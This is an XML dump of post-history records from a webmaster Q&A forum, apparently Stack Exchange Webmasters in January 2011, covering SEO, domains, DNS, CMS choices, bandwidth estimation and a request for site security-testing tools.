  <row Id="16699" PostHistoryTypeId="2" PostId="7838" RevisionGUID="af631fee-5ad7-496c-bd59-5bc0ae7ad82b" CreationDate="2011-01-17T17:39:08.147" UserId="4465" Text="Maybe you can get user's IP adress , and control it on [this site][1] via cURL and get Country information. Bu i don't know, is this best way. This method will reduce performance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ip2location.com/free.asp" />
  <row Id="16709" PostHistoryTypeId="2" PostId="7841" RevisionGUID="7db5fc98-f28f-485b-8541-551c917f5f0a" CreationDate="2011-01-17T18:13:02.270" UserId="2047" Text="How can I change the mod_news_show_gk3 module to:&#xD;&#xA;&#xD;&#xA;- Change the size of the post image. It uses the first image of the post, but it seems to not be resizing the image.&#xD;&#xA;&#xD;&#xA;- Add an extra field: It is important to show in the main page what is the source of the post. I would then like to add an extra field during post editing time, namely &quot;source&quot;, and then I would like to show the source below the title and before the text.&#xD;&#xA;&#xD;&#xA;- Change the title size. Title is oversized and I couldn't find any way to decrease its size.&#xD;&#xA;&#xD;&#xA;- Add a border around the section.&#xD;&#xA;&#xD;&#xA;Here is the address:&#xD;&#xA;http://central.antinovaordemmundial.com/&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="16710" PostHistoryTypeId="1" PostId="7841" RevisionGUID="7db5fc98-f28f-485b-8541-551c917f5f0a" CreationDate="2011-01-17T18:13:02.270" UserId="2047" Text="In Joomla how to change the module mod_news_show_gk3???" />
  <row Id="16711" PostHistoryTypeId="3" PostId="7841" RevisionGUID="7db5fc98-f28f-485b-8541-551c917f5f0a" CreationDate="2011-01-17T18:13:02.270" UserId="2047" Text="&lt;joomla&gt;" />
  <row Id="16712" PostHistoryTypeId="25" PostId="7831" RevisionGUID="94c1858c-ee57-4267-9433-8040a1c5f987" CreationDate="2011-01-17T19:55:36.710" Comment="http://twitter.com/#!/StackWebmasters/status/27091688837087232" />
  <row Id="16713" PostHistoryTypeId="2" PostId="7842" RevisionGUID="74beb9c4-5261-4ee5-bef5-e6f7e9e6cdf9" CreationDate="2011-01-17T20:05:25.983" UserDisplayName="InQ" Text="If I own example.com/net/org, can I simply tell my customers to type &quot;example&quot; into their browser address bar to get to my site? (i.e. no http://, no dot anything)" />
  <row Id="16714" PostHistoryTypeId="1" PostId="7842" RevisionGUID="74beb9c4-5261-4ee5-bef5-e6f7e9e6cdf9" CreationDate="2011-01-17T20:05:25.983" UserDisplayName="InQ" Text="If I own the .com/net/org versions of my site, can I tell customers to type simply the name of my company into the address bar?" />
  <row Id="16715" PostHistoryTypeId="3" PostId="7842" RevisionGUID="74beb9c4-5261-4ee5-bef5-e6f7e9e6cdf9" CreationDate="2011-01-17T20:05:25.983" UserDisplayName="InQ" Text="&lt;domains&gt;" />
  <row Id="16716" PostHistoryTypeId="2" PostId="7843" RevisionGUID="35b3766b-8d14-4655-b04c-3e207bbf15b2" CreationDate="2011-01-17T20:09:57.260" UserId="1253" Text="What Firefox is doing is using the first result from Google's search results as their destination. If you don't rank Number 1 for your company name when they do their query your customers will go elsewhere which may be a competitor or a website dedicated to mocking or trashing your company. This can happen as a normal fluctuation of Google's results or because someone has simply done a better job of outranking you. Since you don't control Google's results I don't think this is a very good idea." />
  <row Id="16717" PostHistoryTypeId="2" PostId="7844" RevisionGUID="3ad5e746-c46a-4fd5-9896-4e704dcd0442" CreationDate="2011-01-17T20:21:07.733" UserDisplayName="user2553" Text="I want to develop a website that has family history information.  Something like Ancestry.com but much simpler.  I want to display photos, family tree, have logins and allow members to upload family photos,documents,stories and comments and have tags for the docs and photos and maybe a message board and blog.   &#xD;&#xA;&#xD;&#xA;Also, this is not for the general public but just my extended family.  I'd like each person to have their own page with a bio, pics and information.&#xD;&#xA;&#xD;&#xA;Is there anything that already does something like this?   I don't want to waste time writing this if it already exists.&#xD;&#xA; &#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;I'm familiar with asp.net and php." />
  <row Id="16718" PostHistoryTypeId="1" PostId="7844" RevisionGUID="3ad5e746-c46a-4fd5-9896-4e704dcd0442" CreationDate="2011-01-17T20:21:07.733" UserDisplayName="user2553" Text="Family History Website" />
  <row Id="16719" PostHistoryTypeId="3" PostId="7844" RevisionGUID="3ad5e746-c46a-4fd5-9896-4e704dcd0442" CreationDate="2011-01-17T20:21:07.733" UserDisplayName="user2553" Text="&lt;php&gt;&lt;asp.net&gt;&lt;open-source&gt;" />
  <row Id="16720" PostHistoryTypeId="2" PostId="7845" RevisionGUID="27da4276-f6db-41f4-8b6e-f13652ce4457" CreationDate="2011-01-17T20:44:50.147" UserId="4672" Text="I'd look into a Content Management System, either Drupal or Wordpress.&#xD;&#xA;&#xD;&#xA;Both are Free and Open Source Software packages created using PHP.  You can easily make your pages only available to users who are logged in, thereby making the site private.&#xD;&#xA;&#xD;&#xA;http://drupal.org/&#xD;&#xA;http://wordpress.org/" />
  <row Id="16721" PostHistoryTypeId="2" PostId="7846" RevisionGUID="7875760a-1856-41bf-9c78-c23e93caa801" CreationDate="2011-01-17T20:48:41.283" UserDisplayName="Pradeep chauahn" Text="Before you hire a seo company or SEoptimizer you must have knowledge of SEO reporting How to get the Good work from the company or individual . You must show your website and Keywords you want in the ranking of the search engines. Before you assigning them you must know What you want .. most of the companies say we wil do .. do.. your must took an idea about the Time frame they need to the get th top ranking .. if your keyword are very competetive then you must know approx time they need to get them Ranking .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Mor eif you want some suggestion and just my profile &#xD;&#xA;&#xD;&#xA;http://in.linkedin.com/in/pradeepchauhanseoexpert" />
  <row Id="16722" PostHistoryTypeId="2" PostId="7847" RevisionGUID="ef72292a-c8ff-468c-9e34-c2b459d0b008" CreationDate="2011-01-17T20:53:13.447" UserId="4672" Text="The AIGA Standard Form of Agreement for Design Services is quite popular.  &#xD;&#xA;&#xD;&#xA;Check it out @ aiga.org&#xD;&#xA;&#xD;&#xA;I also found this Contract Template very useful:&#xD;&#xA;http://www.smashingmagazine.com/2010/06/07/how-to-spot-a-sketchy-client-plus-a-contract-template/&#xD;&#xA;" />
  <row Id="16724" PostHistoryTypeId="2" PostId="7849" RevisionGUID="1b6f840b-010a-4178-99ec-9816f545d1a5" CreationDate="2011-01-17T21:00:15.563" UserId="4672" Text="I don't know of any such software.  &#xD;&#xA;&#xD;&#xA;Your best bet would be either recreate the same template as best you can with Artisteer, or use the template and make modifcations with the help of a Firefox plugin like Firebug.&#xD;&#xA;&#xD;&#xA;Firebug is an essential tool to see what CSS is acting on which HTML elements.&#xD;&#xA;&#xD;&#xA;What sort of tweaks are you trying to make?" />
  <row Id="16725" PostHistoryTypeId="2" PostId="7850" RevisionGUID="e0db5da5-11af-48dd-a635-c7eb28327064" CreationDate="2011-01-17T21:00:55.297" UserDisplayName="Pradeep chauahn" Text="This is very normal for the wordpress Website for this there is an option to stop this indexing of that tags and you may also stop them in the indexing by just adding them to Robot.txt file &#xD;&#xA;&#xD;&#xA;For more Quer visit my profile and contact me &#xD;&#xA;&#xD;&#xA;http://in.linkedin.com/in/pradeepchauhanseoexpert" />
  <row Id="16726" PostHistoryTypeId="2" PostId="7851" RevisionGUID="c73d668c-2d1a-4405-a552-2fc96fb389e4" CreationDate="2011-01-17T21:01:40.783" UserDisplayName="φιλοξενία ιστοσελίδων" Text="Ι want also to suggest opensiteexplorer.org. This is a powerful backlink watch tool. First you must register for an account. Then you will gain free access to backlink reports Up to 1,000 links. It's a useful site with lot of interesting metrics." />
  <row Id="16727" PostHistoryTypeId="2" PostId="7852" RevisionGUID="887842c8-b394-435b-8cd0-bf6c1a16daec" CreationDate="2011-01-17T21:14:06.033" UserDisplayName="Pradeep chauhan" Text="Its very easy if you want to upload all the artciles in your wordpress integrated website . it can be done in just 10 mints but .... as you told you have good visitors in that blog also you must go for Paid accounts of wordpress they also can provide the redirecting facility and then you will get all the traffic to your new domain&#xD;&#xA;&#xD;&#xA;Please visit my profile if you need any help  regarding SEO or wordpress.com blog  integration &#xD;&#xA;&#xD;&#xA;Pradeep Chauhan&#xD;&#xA;http://in.linkedin.com/in/pradeepchauhanseoexpert" />
  <row Id="16729" PostHistoryTypeId="2" PostId="7854" RevisionGUID="0e81d6dc-3f78-4fdf-9628-4c9de09dc092" CreationDate="2011-01-17T21:22:35.917" UserId="4672" Text="The word 'prose' encompasses all the aspects of writing.  Perhaps a Domain Name involving that word.&#xD;&#xA;&#xD;&#xA;www.composeprose.com is available, for example." />
  <row Id="16731" PostHistoryTypeId="2" PostId="7855" RevisionGUID="b926e0c4-c32e-483f-8d10-55fb0c017ed3" CreationDate="2011-01-17T22:02:30.643" UserId="2293" Text="Blocking by IP isn't a good solution anymore. You already got some obvious problems this approach can lead into.&#xD;&#xA;&#xD;&#xA;You may end allowing undesired people, and blocking desired ones. One question: what technologies are you allowed to use?&#xD;&#xA;&#xD;&#xA;After all, you can use GEO Location features and extensions available for Java, PHP, Python, Ruby or even Javascript." />
  <row Id="16732" PostHistoryTypeId="2" PostId="7856" RevisionGUID="864598c7-4e83-40d6-ad51-14189298a3a7" CreationDate="2011-01-17T22:26:13.533" UserDisplayName="Fabian" Text="As has been pointed out, what you're trying to do is not going to work.&#xD;&#xA;&#xD;&#xA;And it's not a good idea either. It's not how the internet works." />
  <row Id="16733" PostHistoryTypeId="2" PostId="7857" RevisionGUID="f1768240-5d6d-4b1f-a9f6-910b9a642c42" CreationDate="2011-01-17T22:46:28.747" UserDisplayName="abhisek" Text="I recently bought a custom domain for a blogger blog (technabled.com) I have for sometime now. I followed the instructions on blogger's documentation. I added A-name records _and_ CNAME records with my DNS provider. But, now, some strange problems are cropping up. If I connect to my broadband network and then ping technabled.com, it times out. Then, if I visit the webpage, which takes almost one and half minutes to load, and then if I ping technabled.com, it shows expected result. This is not just me. I asked some of the regular readers, who reported the same issue. As a result of this, I am losing a lot of visits.&#xD;&#xA;&#xD;&#xA;What is stranger is that the subsequent visits to the blog is faster. I have checked with a few online services to test the performance. WebPageTest seems to say the same thing: http://www.webpagetest.org/result/110117_1N_7PE/ (please see the First View / Repeat View time) Also, the pagespeed score is not that bad. So I am ruling out other possibilities.&#xD;&#xA;&#xD;&#xA;I am at a loss as to what I should do to find a solution. Help is much appreciated. :)" />
  <row Id="16734" PostHistoryTypeId="1" PostId="7857" RevisionGUID="f1768240-5d6d-4b1f-a9f6-910b9a642c42" CreationDate="2011-01-17T22:46:28.747" UserDisplayName="abhisek" Text="Blogger Blog Takes Ages to Load after Custom Domain Redirection" />
  <row Id="16735" PostHistoryTypeId="3" PostId="7857" RevisionGUID="f1768240-5d6d-4b1f-a9f6-910b9a642c42" CreationDate="2011-01-17T22:46:28.747" UserDisplayName="abhisek" Text="&lt;dns&gt;&lt;speed&gt;&lt;blogger&gt;" />
  <row Id="16736" PostHistoryTypeId="25" PostId="7842" RevisionGUID="61cd51d9-2fb6-47eb-b6a2-606b4b997aeb" CreationDate="2011-01-17T22:55:36.913" Comment="http://twitter.com/#!/StackWebmasters/status/27136988024934400" />
  <row Id="16737" PostHistoryTypeId="2" PostId="7858" RevisionGUID="b8c868f7-6a19-4d72-9596-fe6ff8d044ee" CreationDate="2011-01-17T23:18:26.800" UserDisplayName="mt_Sara" Text="Are you migrating to the (gs) or (dv)? Here is some information about migrating to the (gs):&#xD;&#xA;&#xD;&#xA;http://mdtm.pl/dlk5Ss&#xD;&#xA;&#xD;&#xA;You can use the (mt) Wiki to find information about migrating to the (dv) Dedicated-Virtual Server, if that applies.&#xD;&#xA;&#xD;&#xA;If you have any questions or need any help, you can contact us via support request, phones or Twitter (@mediatemple) for support 24/7." />
  <row Id="16738" PostHistoryTypeId="2" PostId="7859" RevisionGUID="b6acc688-165f-4ceb-8c16-a4e44c127aed" CreationDate="2011-01-17T23:23:26.763" UserId="4677" Text="After a lot of heard work and a few years of perseverance, I'm seeing regular sales on my website which have been steadily growing over the past year.  However, the entrepreneur in me wants tap into a niche market which I've become very interested in.  &#xD;&#xA;&#xD;&#xA;It's possible to bolt on this niche onto my existing site as an additional category, without it looking too out of place; my new category of products would also benefit from the ranking my current site gets.  The kind of people who would purchase these new niche products, however, are very particular and obsessive about detail.  So, for example, many Vegetarians would not eat in KFC even if they were to introduce a new range of Veggie burgers.  So, I thought it best to create a new website and since my existing site was created using an 'old-school' shopping cart and there are many more up-to-date, feature-rich, ones available now, I wanted to use a different shopping cart system.&#xD;&#xA;&#xD;&#xA;My dilemma is that I already have 2 websites (1 b2c and another b2b site) and maintaining a 2nd b2c site would end up vastly increasing my workload and I fear that I would not be able to pay adequate attention to all the sites.  Moreover, the additional customer service work (e.g. answering emails from many separate email accounts) could end up being too confusing and difficult to maintain.&#xD;&#xA;&#xD;&#xA;The easy answer would be to take on an employee, but I'm just not earning enough to justify this yet.&#xD;&#xA;&#xD;&#xA;If anyone has any tips or experience they'd like to share, which could help me answer this question, I'd be highly grateful.&#xD;&#xA;" />
  <row Id="16739" PostHistoryTypeId="1" PostId="7859" RevisionGUID="b6acc688-165f-4ceb-8c16-a4e44c127aed" CreationDate="2011-01-17T23:23:26.763" UserId="4677" Text="Want to tap into a niche market.  Do I create new site or bolt on to existing site?" />
  <row Id="16740" PostHistoryTypeId="3" PostId="7859" RevisionGUID="b6acc688-165f-4ceb-8c16-a4e44c127aed" CreationDate="2011-01-17T23:23:26.763" UserId="4677" Text="&lt;seo&gt;&lt;ecommerce&gt;&lt;marketing&gt;&lt;site-ranking&gt;&lt;business-models&gt;" />
  <row Id="16741" PostHistoryTypeId="5" PostId="7191" RevisionGUID="666526d2-71a0-4a2f-8784-c61a42e7eb15" CreationDate="2011-01-17T23:26:42.317" UserId="4159" Comment="added 4 characters in body" Text="I have a blog ([http://blog.brodzinski.com][1]), which is wordpress.org blog with pretty popular Thesis theme with almost no other customizations. Some time ago it was penalized by Google search - it simply stopped appearing in search results even for search terms it used to be top result, like my name - Pawel Brodzinski - which isn't anything close to popular search term.&#xD;&#xA;&#xD;&#xA;To be exact the site has been penalized on Nov 18. It started popping up in search result on Dec 23 but only for a few days. Since Dec 27 it is out again.&#xD;&#xA;&#xD;&#xA;* I know Google guidelines and I'm not aware to break any of them.&#xD;&#xA;* I submitted reconsideration request after I noticed penalty. It was proceeded and there was no change whatsoever (no surprise as it seems the site was penalized again).&#xD;&#xA;* I checked diagnostics in webmaster tools and neither any malware was detected nor any strange search terms popped up.&#xD;&#xA;* I read related threads on Google webmasters forum but found none of solutions working for me.&#xD;&#xA;* I posted a thread on Google webmasters forum ([http://www.google.com/support/forum/p/Webmasters/thread?tid=546339f49d4a03bc&amp;hl=en][2]) and the only answer I got was to check for duplicate content. Well, there is some duplicate content published on the web but it is true for vast majority of blogs and it doesn't seem to be a reason for a penalty. Also before Dec 27 I was able to remove duplicate content from a couple of sites which were republishing my feed but this doesn't change the situation - the site was penalized again.&#xD;&#xA;&#xD;&#xA;The problem is I have no idea what can be wrong with the website or how to find it out.&#xD;&#xA;&#xD;&#xA;To make the problem worse I'm no webmaster, I just run a wordpress blog, which was supposed to be easy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.brodzinski.com&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=546339f49d4a03bc&amp;hl=en" />
  <row Id="16742" PostHistoryTypeId="17" PostId="7861" RevisionGUID="b6ed8384-0302-47dc-96b2-c6f803a48eb6" CreationDate="2011-01-17T23:28:29.083" UserId="-1" Comment="from http://superuser.com/questions/234485/any-tools-for-measuring-the-security-of-a-site/234501#234501" Text="" />
  <row Id="16743" PostHistoryTypeId="2" PostId="7861" RevisionGUID="b493b408-d0a3-4aea-b0e2-284b59412c22" CreationDate="2011-01-17T23:06:59.877" UserDisplayName="sacRyan" Text="http://cirt.net/nikto2&#xD;&#xA;&#xD;&#xA;There are dozens of application testers for things like that.  Above is Nikto a free tool to do just what you are asking for.  Depending on the depth and breadth of your application you may want to consider bringing in some outside help to better assess it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16744" PostHistoryTypeId="2" PostId="7860" RevisionGUID="9bcae42f-1e34-48d1-8990-ea62e86bffaa" CreationDate="2011-01-17T22:18:35.710" UserDisplayName="Mostafa" Text="I'm wondering is there any tool for measuring or testing the security of a website ? &#xD;&#xA;&#xD;&#xA;I've written some ASP.NET web-app , So i would like measure the security of my own application and if there is any whole like sql-Injection or XSS , i could fix that .&#xD;&#xA;&#xD;&#xA;Thank you " />
  <row Id="16745" PostHistoryTypeId="1" PostId="7860" RevisionGUID="9bcae42f-1e34-48d1-8990-ea62e86bffaa" CreationDate="2011-01-17T22:18:35.710" UserDisplayName="Mostafa" Text="Any tools for measuring the security of a site ? " />
  <row Id="16746" PostHistoryTypeId="3" PostId="7860" RevisionGUID="9bcae42f-1e34-48d1-8990-ea62e86bffaa" CreationDate="2011-01-17T22:18:35.710" UserDisplayName="Mostafa" Text="&lt;security&gt;&lt;asp.net&gt;" />
  <row Id="16747" PostHistoryTypeId="17" PostId="7860" RevisionGUID="4f1ef86f-2bb5-4ff8-acde-22c607fab67f" CreationDate="2011-01-17T23:28:29.083" UserId="-1" Comment="from http://superuser.com/questions/234485/any-tools-for-measuring-the-security-of-a-site" Text="" />
  <row Id="16748" PostHistoryTypeId="2" PostId="7862" RevisionGUID="2be1a972-1d45-48cc-8bcd-8c6aff11ac18" CreationDate="2011-01-17T23:44:24.080" UserId="4677" Text="Suppose, just as an example, I have a website with domain www.gifts-for-dogs.com.....but after a few years I start selling stuff for Cats and Fish.  I may not keep enough of a range of products for these other type of pets yet, so can't justify changing the domain name and logo (to something like gifts-for-pets.com) just yet....but envisage that I eventually may have to in the not too distant future.&#xD;&#xA;&#xD;&#xA;What would be a good strategy here and what are the steps I would have to consider before making these changes? " />
  <row Id="16749" PostHistoryTypeId="1" PostId="7862" RevisionGUID="2be1a972-1d45-48cc-8bcd-8c6aff11ac18" CreationDate="2011-01-17T23:44:24.080" UserId="4677" Text="What to do when product range evolves and site name does not reflect this?" />
  <row Id="16750" PostHistoryTypeId="3" PostId="7862" RevisionGUID="2be1a972-1d45-48cc-8bcd-8c6aff11ac18" CreationDate="2011-01-17T23:44:24.080" UserId="4677" Text="&lt;seo&gt;&lt;domain-names&gt;&lt;marketing&gt;&lt;site-ranking&gt;&lt;change-management&gt;" />
  <row Id="16751" PostHistoryTypeId="2" PostId="7863" RevisionGUID="e26627ab-5fb4-4e81-83fe-33aa838641ac" CreationDate="2011-01-18T00:23:43.343" UserId="3707" Text="Your existing customers will know that you sell more than dog gifts but new customers will be confused or might scratch their heads.&#xD;&#xA;&#xD;&#xA;I mean zappos started out selling shoes and now they sell more than shoes but their domain name is not as specific as yours.&#xD;&#xA;&#xD;&#xA;The best thing I think you can do is while keeping the same site start another site with a new domain. And to market the new site include a banner in your dog site and let people know that you are partners/sister site. Just build up the new site on the shoulder of the dog site.&#xD;&#xA;&#xD;&#xA;good luck.&#xD;&#xA;" />
  <row Id="16752" PostHistoryTypeId="2" PostId="7864" RevisionGUID="e7d533d4-3d4a-41e6-a6d5-3a49d696bda4" CreationDate="2011-01-18T01:15:06.157" UserId="4630" Text="I am working on a brand new SaaS web application and need to estimate the initial bandwidth usage. Since the site doesn't exist yet, and since this is my first endeavor of this sort, I'm not really sure how much bandwidth to estimate to begin with.&#xD;&#xA;&#xD;&#xA;We will be using Linux, Apache, PHP and Mysql.&#xD;&#xA;&#xD;&#xA;The content will be generated dynamically. There will be images as part of the site design but user's will also upload images that will be displayed and documents that will be stored for download at later times.&#xD;&#xA;&#xD;&#xA;We'd like to be able to support 500,000 page loads per month with estimated image loads being about two to three times that." />
  <row Id="16753" PostHistoryTypeId="1" PostId="7864" RevisionGUID="e7d533d4-3d4a-41e6-a6d5-3a49d696bda4" CreationDate="2011-01-18T01:15:06.157" UserId="4630" Text="How to Estimate Needed Bandwidth for New Web Application?" />
  <row Id="16754" PostHistoryTypeId="3" PostId="7864" RevisionGUID="e7d533d4-3d4a-41e6-a6d5-3a49d696bda4" CreationDate="2011-01-18T01:15:06.157" UserId="4630" Text="&lt;bandwidth&gt;&lt;web-applications&gt;&lt;saas&gt;" />
  <row Id="16756" PostHistoryTypeId="25" PostId="7864" RevisionGUID="6879625b-7ed2-4147-9325-e5b7fce71ec3" CreationDate="2011-01-18T01:55:36.773" Comment="http://twitter.com/#!/StackWebmasters/status/27182286025785344" />
  <row Id="16757" PostHistoryTypeId="2" PostId="7866" RevisionGUID="2ad84a87-7abe-4b4b-a9e8-2d8b1dc90a4a" CreationDate="2011-01-18T02:04:12.537" UserDisplayName="michaellindahl" Text="I manage a podcast and a website, currently they are separate but I would like to have a way to embed the podcast into the website, I still want to create/update the podcast separate from the website I just want visitors to be able to listen to the podcast on the website without having to open iTunes while still having the ability to choose what episode to play.  The best solution I have found is: http://tools.wizzard.tv/ but I do not like it that much." />
  <row Id="16758" PostHistoryTypeId="1" PostId="7866" RevisionGUID="2ad84a87-7abe-4b4b-a9e8-2d8b1dc90a4a" CreationDate="2011-01-18T02:04:12.537" UserDisplayName="michaellindahl" Text="How can I embed an existing podcast into my website?" />
  <row Id="16759" PostHistoryTypeId="3" PostId="7866" RevisionGUID="2ad84a87-7abe-4b4b-a9e8-2d8b1dc90a4a" CreationDate="2011-01-18T02:04:12.537" UserDisplayName="michaellindahl" Text="&lt;websites&gt;&lt;embed&gt;&lt;podcast&gt;" />
  <row Id="16762" PostHistoryTypeId="5" PostId="7866" RevisionGUID="c2764236-484b-416b-883c-481e0bd3a613" CreationDate="2011-01-18T02:17:55.670" UserDisplayName="michaellindahl" Comment="added 391 characters in body" Text="I manage a podcast and a website, currently they are separate but I would like to have a way to embed the podcast into the website, I still want to create/update the podcast separate from the website I just want visitors to be able to listen to the podcast on the website without having to open iTunes while still having the ability to choose what episode to play.  The best solution I have found is: http://tools.wizzard.tv/ but I do not like it that much.  Currently I have to log on and click refresh for it to recognize new episodes.&#xD;&#xA;&#xD;&#xA;I want to be able to update the podcast, and just like how iTunes will be updated I want the page on the website to be updated as well.  The 'podcast' page will most likely not be like a blog but have a Flash or Java script application that will pull the info from the podcast.xml file to show the episodes." />
  <row Id="16763" PostHistoryTypeId="2" PostId="7867" RevisionGUID="95587646-6e0e-406d-860b-232bece5e0df" CreationDate="2011-01-18T02:37:50.190" UserDisplayName="JP19" Text="How can I write a tool to monitor domain name availability? In particular, I am interested in monitoring availability of a domain which is in `pendingDelete` (or similar) status after its expiration date.&#xD;&#xA;&#xD;&#xA;Any suggestions or more information about the `pendingDelete` status are also welcome." />
  <row Id="16764" PostHistoryTypeId="1" PostId="7867" RevisionGUID="95587646-6e0e-406d-860b-232bece5e0df" CreationDate="2011-01-18T02:37:50.190" UserDisplayName="JP19" Text="Monitoring Domain Availability " />
  <row Id="16765" PostHistoryTypeId="3" PostId="7867" RevisionGUID="95587646-6e0e-406d-860b-232bece5e0df" CreationDate="2011-01-18T02:37:50.190" UserDisplayName="JP19" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;&lt;whois&gt;&lt;availability&gt;" />
  <row Id="16766" PostHistoryTypeId="5" PostId="7867" RevisionGUID="274dce38-968c-450b-a053-8e6385970b62" CreationDate="2011-01-18T02:45:29.663" UserDisplayName="JP19" Comment="added 258 characters in body" Text="How can I write a tool to monitor domain name availability? In particular, I am interested in monitoring availability of a domain which is in `PENDINGDELETE` (or `REDEMPTIONPERIOD` or `REGISTRY-DELETE-NOTIFY` or `PENDINGRESTORE` or similar ) status after its expiration date.&#xD;&#xA;&#xD;&#xA;Any suggestions or more information about the `PENDINGDELETE` and similar status are also welcome (what is the time frame till which it can remain in this status, etc. I usually don't see a fixed pattern or even consistent correlation with expiration date and this status)." />
  <row Id="16767" PostHistoryTypeId="2" PostId="7868" RevisionGUID="c64bb164-12f6-46ce-b4f1-197648abc7dc" CreationDate="2011-01-18T03:13:27.903" UserId="1757" Text="*Average data transfer per request \* estimated number of requests = projected data transfer*." />
  <row Id="16769" PostHistoryTypeId="2" PostId="7869" RevisionGUID="8c3a7628-f96a-409f-a0a1-9dc46c989102" CreationDate="2011-01-18T03:31:08.880" UserDisplayName="JP19" Text="Apparently, Expertsexchange.com  changed their name to Experts-Exchange.com&#xD;&#xA;&#xD;&#xA;Though I am not sure about SEO, you might want to consider other 'practical' consequences as well.&#xD;&#xA;" />
  <row Id="16770" PostHistoryTypeId="2" PostId="7870" RevisionGUID="02dc14a1-05bb-434e-8a68-7d738be9ab1d" CreationDate="2011-01-18T04:02:18.360" UserDisplayName="JP19" Text="Get a new website (gifts-for-pets.com say). Create some sub-domains (or simply pages if you want):&#xD;&#xA;&#xD;&#xA;dogs.gifts-for-pets.com   (or gifts-for-pets.com/dogs)&#xD;&#xA;&#xD;&#xA;cats.gifts-for-pets.com  (or gifts-for-pets.com/cats)&#xD;&#xA;&#xD;&#xA;etc&#xD;&#xA;&#xD;&#xA;Redirect (301) www.gifts-for-dogs.com  to  dogs.gifts-for-pets.com  so your SEO for existing site remains intact.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16771" PostHistoryTypeId="2" PostId="7871" RevisionGUID="ab83d858-fae8-4f25-b4fd-9616ff6bca34" CreationDate="2011-01-18T04:51:49.870" UserDisplayName="JP19" Text="I wonder why no-one recommended yahoo site explorer." />
  <row Id="16772" PostHistoryTypeId="25" PostId="7860" RevisionGUID="130b30d9-b7c0-4e4d-b605-589f0de4ec21" CreationDate="2011-01-18T04:55:36.857" Comment="http://twitter.com/#!/StackWebmasters/status/27227584865509376" />
  <row Id="16773" PostHistoryTypeId="2" PostId="7872" RevisionGUID="b233f7e7-ea96-4686-9cab-74159bdb46fc" CreationDate="2011-01-18T06:02:17.360" UserId="4461" Text="Answers to your questions:&#xD;&#xA;&#xD;&#xA; 1. Yes, you should export your articles on the new blog. This won't delete your existing articles, but will ensure everything is copied across (to allow for the other steps below).&#xD;&#xA;&#xD;&#xA; 2. If you've successfully exported all of your content and then redirected the old blog to your new one (using: http://en.support.wordpress.com/site-redirect/ ) you should have a 1-1 match for each of your blog posts. This makes the big assumption that you have set your new self-hosted blog to match the same settings as your wordpress hosted one. There might be some minor redirections required (either hard-coded in your .htaccess file, or using a redirection plugin).&#xD;&#xA;&#xD;&#xA; 3. The implications are: a) ongoing costs, b) a minor traffic dip from search engines while they reassign the search value from the old domain to the new one, c) ensuring the plugins that come with the hosted version can be mirrored on your self-hosted version." />
  <row Id="16774" PostHistoryTypeId="5" PostId="3203" RevisionGUID="33f72e83-71d4-4eea-ab5b-cae191da8d3e" CreationDate="2011-01-18T06:45:47.423" UserId="1064" Comment="Added wget example, summary" Text="For Windows users: [Xenu][1]&#xD;&#xA;&#xD;&#xA;For *nix/Mac: [wget][2] (usually installed by default)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** Typical `wget` usage:&#xD;&#xA;&#xD;&#xA;`wget -r --spider -b -o /var/tmp/wget.log http://target.site.com/`&#xD;&#xA;&#xD;&#xA;* `-r` - Recursive download&#xD;&#xA;* `--spider` - Check downloaded content for new links, then discard&#xD;&#xA;* `-b` - Run in the background&#xD;&#xA;* `-o /var/tmp/wget.log` - Target log file&#xD;&#xA;* `http://target.site.com/` - Replace with the site you want to check&#xD;&#xA;&#xD;&#xA;wget will create a log file detailing the status codes reported while downloading content from the target site - note that this method will catch links to nonexistent content from within the domain, however, off-site links will not be checked (which is why it pays to monitor your site's error logs).&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html&#xD;&#xA;  [2]: http://www.gnu.org/software/wget/manual/wget.html" />
  <row Id="16775" PostHistoryTypeId="17" PostId="7874" RevisionGUID="1f00f6ae-bbc3-4ad0-9b93-e50bb54c751f" CreationDate="2011-01-18T06:46:43.663" UserId="-1" Comment="from http://superuser.com/questions/234350/finding-google-analytics-parent-account-of-a-tracking-code/234354#234354" Text="" />
  <row Id="16776" PostHistoryTypeId="2" PostId="7874" RevisionGUID="4fb85701-7e01-4ec1-bfbc-32088c461c0c" CreationDate="2011-01-17T17:00:50.010" UserDisplayName="InfiniteLurker" Text="Here you go - looks like you need some human intervention:  http://www.google.com/support/forum/p/Google+Analytics/thread?tid=6cc5fc1f1c695073&amp;hl=en" />
  <row Id="16777" PostHistoryTypeId="2" PostId="7873" RevisionGUID="3ab4de38-5432-469e-88d2-36d42e628648" CreationDate="2011-01-17T16:49:18.157" UserDisplayName="danixd" Text="I have a Google Analytics tracking code for a website and I can't find which account it is on. Is there any way of finding which Google account the tracking code belongs to?&#xD;&#xA;&#xD;&#xA;I am guessing it is probably impossible due to privacy issues. &#xD;&#xA;&#xD;&#xA;Any help would be appreciated." />
  <row Id="16778" PostHistoryTypeId="1" PostId="7873" RevisionGUID="3ab4de38-5432-469e-88d2-36d42e628648" CreationDate="2011-01-17T16:49:18.157" UserDisplayName="danixd" Text="Finding Google Analytics parent account of a tracking code" />
  <row Id="16779" PostHistoryTypeId="3" PostId="7873" RevisionGUID="3ab4de38-5432-469e-88d2-36d42e628648" CreationDate="2011-01-17T16:49:18.157" UserDisplayName="danixd" Text="&lt;google&gt;&lt;google-analytics&gt;" />
  <row Id="16780" PostHistoryTypeId="17" PostId="7873" RevisionGUID="a80e24a4-8776-4ff8-be81-a8da7c65127d" CreationDate="2011-01-18T06:46:43.663" UserId="-1" Comment="from http://superuser.com/questions/234350/finding-google-analytics-parent-account-of-a-tracking-code" Text="" />
